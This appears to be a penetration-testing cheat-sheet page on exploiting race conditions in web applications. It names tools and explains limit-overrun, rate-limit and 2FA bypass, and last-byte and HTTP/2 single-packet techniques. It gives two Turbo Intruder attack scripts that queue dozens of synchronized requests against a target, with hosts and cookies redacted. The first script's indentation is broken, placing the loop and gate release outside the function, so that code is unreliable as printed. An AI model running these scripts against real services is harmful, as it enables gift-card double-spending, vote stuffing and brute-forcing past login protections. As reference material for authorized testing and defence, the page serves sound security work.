// Payloads · Race Condition

Race Condition

Race Condition

Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

Tools

  • PortSwigger/turbo-intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
  • JavanXD/Raceocat - Make exploiting race conditions in web applications highly efficient and ease-of-use.
  • nxenon/h2spacex - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks

Methodology

Limit-overrun

Limit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.

Examples: Overdrawing limit, multiple voting, multiple spending of a giftcard.

Rate-limit Bypass

Rate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.

Examples: Bypassing anti-bruteforce mechanism and 2FA.

Techniques

HTTP/1.1 Last-byte Synchronization

Send every requests except the last byte, then “release” each request by sending the last byte.

Execute a last-byte synchronization using Turbo Intruder

engine.queue(request, gate='race1')
engine.queue(request, gate='race1')
engine.openGate('race1')

Examples:

HTTP/2 Single-packet Attack

In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.

Examples:

Turbo Intruder

Example 1

  1. Send request to turbo intruder

  2. Use this python code as a payload of the turbo intruder

    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=30,
                            requestsPerConnection=30,
                            pipeline=False
                            )
    
    for i in range(30):
        engine.queue(target.req, i)
            engine.queue(target.req, target.baseInput, gate='race1')
    
    
        engine.start(timeout=5)
    engine.openGate('race1')
    
        engine.complete(timeout=60)
    
    
    def handleResponse(req, interesting):
        table.add(req)
  3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder

  4. Click “Attack”

Example 2

This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    '''

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)

Labs

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.